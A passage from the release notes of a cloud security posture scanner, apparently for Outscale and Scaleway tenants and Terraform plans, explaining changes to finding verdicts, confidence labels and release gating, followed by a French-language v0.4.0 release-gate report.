distinguishes a documented line from a measured one and dates the latter
(mesure:in the descriptor); the provider page states how to live with owner keys —
a dedicated key with an expiry, out of CI, and a dated exemption on
iam_no_root_access_keyrather than silence. No credential enters CI: the measurement
is a maintainer gesture, run locally and recorded (ADR-0012). -
The qualification gate said GO while a known false green stood. It compared a run
toexpected.yamland concluded GO when they matched — a good non-regression
contract, but presented as a release quality gate. A pinned defect reproduces
identically, the comparison finds no difference, and the gate said GO: it verified that
the product lies the same way it did yesterday. The two questions are now answered
separately, side by side in the report. A known defect declares its class and
whether it blocks a release: afalse_greenalways blocks and cannot be waived — it
is the promise the product is built on — afalse_positiveblocks by default and can be
waived explicitly, and acoverage_gapdoes not block, because a justified
not-evaluatedis a named limit, which is exactly what the product asks of itself.
A bare string, or a class nobody declared, blocks: a pin that does not say what it is
must not act as a pass. -
Terraform plans: a declared reference now closes the correlation that never worked.
A plan cannot know the id of a resource it is about to create — that attribute is not
resolved, it is absent. Measured on a reference tenant built from third-party HCL:
vm_id,public_ipandsecurity_group_idswere absent on 5/5 VMs, and
security_group_idon 14/14 rules — everything the rules join on. The verdict stayed
honest (not-evaluated, never apass), but no real plan correlated anything; only
hand-written test plans did, where the id is a literal. The plan carries the relation
elsewhere:configurationkeeps the reference the operator wrote, and that reference
is an observation, not an estimate (ADR-0022). It is followed across module
boundaries, because inside a module the argument readsvar.x. An ambiguous
reference — a declaration multiplied bycount— resolves to nothing: joining VM #0
to security group #1 would be a deviation posted on a resource that does not carry it. -
One verdict moves on the reference corpus:
compute_instance_has_security_groupfrom
not-evaluatedtopasson outscale/terraform. -
A finding's subject can change on the Terraform source. A resolved address becomes
an identity, so a descriptor whoseid:reads a now-filled field names the resource it
points at: on a Scaleway plan, a bucket ACL's subject is the bucket it configures
rather than the ACL resource. That is the subject one looks for, and it matches the
live source — but a derogation written against the old subject stops matching. -
Reference tenant plans now carry the
referencesof theirconfiguration, and never
itsconstant_value— the latter is where a hard-coded secret lives. A guard holds it
on the committed text. -
The two findings a freshly created network produced now say which of them the
operator did. On a brand-new Outscale Net, a live scan reported ahighon the
default security group — "carries an inbound rule" — and the operator went looking for
a rule they had written. The rule found is the one the provider creates with the
network: its only accepted source is the group itself. The finding stands (two
resources started without an explicit SG land in it and talk freely, which is what
CLD-NET-4 refuses), but it now names the shape it found, and carries
confidence: contextualrather thanconfirmed. The distinction is observed, not
deduced from a missing CIDR: an inbound rule accepts a source by CIDR or by group,
and the group source is now collected (peer_security_group_ids). Where the field is
absent the rule falls back to the general wording and toconfirmed— not knowing must
not take a deviation out of a CI gate. -
Unrestricted egress is
contextual, notconfirmed. The label was inherited from
the shared constructor, whose justification is about ingress: there is no legitimate
reason to open SSH to the whole internet. That argument does not transfer to the way
out. An open egress is a real exfiltration path, but defensible architectures leave it
open and filter downstream — gateway, proxy, perimeter firewall — on a plane the scan
does not see. The finding keeps its code, itsmediumseverity and itssecurity
category; it leaves--gate securitywithout leaving the report. Default behaviour
is unchanged:--gate allstill exits1. -
Exposure messages now pick their preposition from the rule's direction. An outbound
rule accepts nothing "from" the internet, and a reader who corrects what the sentence
describes was looking in the wrong place. -
Sovereignty is now measured on the resources that host data, and only those. The
EU-location control asserted compliance from a neighbour: one resource carrying a
region opened apassfor every other, including types the rule never examines — an
iam_userinfr-parcertified a VM whose own region had never been collected. A
region now counts as observed only when every resource of that type carries one.
Verdict change on an unchanged tenant: a tenant holding no located resource (only
networks, subnets, peerings) moves frompasstonot-evaluated, and one whose
located resources are partly unlocated does too. -
A broken join no longer reads as a deviation. Deciding data is declared per
resource type, so a control that correlates two types degrades when the link is
missing rather than concluding without it.volume_iduncollected on snapshots made
every volume look unbacked — a mass false positive,highseverity, caused by a
collection gap. Verdict change on an unchanged tenant: those become
not-evaluatednaming the missing field. A volume genuinely without a snapshot, and
a tenant with no snapshot at all, still fail. -
A deviation inferred from an absence nobody sought is withdrawn. Some rules
conclude from an absence and are right to — on Scaleway a nilExpiresAtis "no
expiry". But an unmapped field is absent too, and the two were indistinguishable, so
iam_accesskey_expiration_setraised acriticaleither way. The assessment now
reads provenance, which records what was sought, and withdraws the deviation when
the field was never asked for (ADR-0017).
Verdict change on an unchanged tenant, one way only: an assertion is withdrawn,
never added. An inventory carrying no provenance — a third-party export — is
untouched. -
The veracity debt drops from 445 to 395 verdicts left to prove, and fully proven
paths go from 5 to 23 out of 178. The reference tenants and the hand-written
scenarios feed one ledger: two coverage figures would diverge, and the one that
diverges is the one people read. A tenant verdict counts only when it is
substantive —fail,passandnot-applicablealways,not-evaluatedonly when
the tenant actually carries a resource of the targeted type. Without that filter the
same six tenants would have paid 97 obligations instead of 50, half of them with
absences. -
A tenant plan now keeps only the attributes a mapping actually reads. The
reducer cut at the section level and kept every attribute of every resource, so a
helm_releasecarried its whole Helm values blob, akubectl_manifestits
yaml_body, akubernetes_secretits contents — none of which any common rule
reads. Reduction is now an allowlist derived from the descriptors, down to the
field, andTestNoReferenceTenantPlanCarriesAnAttributeNobodyReadsrefuses the
rest. No verdict moves:internal/tfmaponly ever projected the mapped fields.
The corpus drops from 54 KiB to 25 KiB.
Porte de release — v0.4.0
Verdict : GO · commit bccb19b · 2026-09-10
Étape 1 — hors ligne : le dépôt, et ce que sa documentation affirme : GO
- ✔ release-check : tout ce qui doit être vrai avant un tag
- ✔ mise run audit (vet + lint + gosec + govulncheck + osv)
- ✔ mise run adr-drift
- ✔ mise run falsify:all : chaque porte a été vue rouge
- ✔ campagne de fuzzing bornée
- ✔ les blocs générés de la documentation sont à jour
- ✔ les versions épinglées valent au moins le minimum déclaré sûr
- ✔ tout lien relatif de la documentation résout
- ✔ la description racine nomme les fournisseurs enregistrés
- · couverture de remédiation (indicatif)
Étape 2 — réseau : les artefacts tels qu'un utilisateur les reçoit : GO
- ✔ les binaires se construisent, portent le tag et gardent leurs codes
- ✔ le bloc de vérification du README s'exécute tel qu'il est écrit
- ✔ le bloc de vérification du README épingle le dernier tag publié
- ✔ l'image publiée se vérifie et scanne un plan, avec les commandes documentées
- ✔ l'installeur de l'action accepte le binaire publié et refuse le même altéré
- ✔ le template GitLab installe pepin dans l'image qu'il déclare
Étape 4 — surfaces et notes : ce qu'un changement de verdict doit avoir écrit : GO
- ✔ les surfaces gelées correspondent à leur fixture
- ✔ un verdict qui bouge à sa ligne au CHANGELOG
Le rapport détaillé reste local : il porte des chemins de la machine qui a lancé la porte, et les identifiants de ressources du tenant de qualification.